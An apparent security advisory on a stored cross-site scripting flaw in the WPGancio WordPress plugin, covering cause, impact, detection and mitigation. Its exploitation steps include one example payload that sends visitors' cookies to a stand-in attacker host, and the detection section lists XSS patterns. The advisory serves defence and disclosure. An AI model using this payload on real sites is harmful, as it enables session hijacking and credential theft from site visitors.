CVE-2025-13904: 
WordPress vulnerability analysis and mitigation

CVE-2025-13904 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPGancio plugin for WordPress, affecting all versions up to and including 1.12. The flaw exists in the plugin's gancio-event shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 12, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to sanitize user-supplied shortcode attributes before rendering them in HTML output. Specifically, the vulnerable code is located in wc.php at line 33 of the WPGancio plugin, where shortcode attributes are passed to the page without proper escaping (Wordfence, WordPress Trac). Exploitation requires an authenticated session with at least contributor-level privileges, and the injected script executes in the context of any user who visits the affected page.

Successful exploitation allows authenticated attackers with contributor-level access or higher to persistently inject arbitrary JavaScript into WordPress pages. The injected scripts execute in the browsers of all users who visit the compromised pages, enabling session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability has a changed scope, meaning the impact extends beyond the plugin itself to affect site visitors and potentially site administrators (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13904. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is limited to authenticated users with at least contributor-level access, which reduces the overall risk compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register an account on the target WordPress site with at least contributor-level privileges.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where the gancio-event shortcode can be inserted.
3. Inject Malicious Shortcode: Insert the gancio-event shortcode with a crafted attribute containing a JavaScript payload, e.g., [gancio-event attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Publish or update the post so the malicious shortcode is rendered on the page.
5. Trigger Execution: When any user (including administrators) visits the injected page, the unsanitized attribute is rendered in the HTML output and the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing gancio-event shortcode with encoded script tags or JavaScript event handlers in attribute values.
• Database: WordPress wp_posts table entries containing gancio-event shortcode with suspicious attribute values including <script>, javascript:, onerror=, onload=, or similar XSS payloads.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the gancio-event shortcode, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to wc.php or other WPGancio plugin files that may indicate further tampering beyond the shortcode injection (Wordfence).

WordPress site administrators should update the WPGancio plugin to a version beyond 1.12 as soon as a patched release is available from the plugin repository. In the interim, restricting contributor-level user registrations or disabling the WPGancio plugin entirely will eliminate the attack surface. Site administrators should also audit existing posts and pages for any gancio-event shortcode usage containing suspicious attribute values (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it was discovered and reported through their threat intelligence program (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.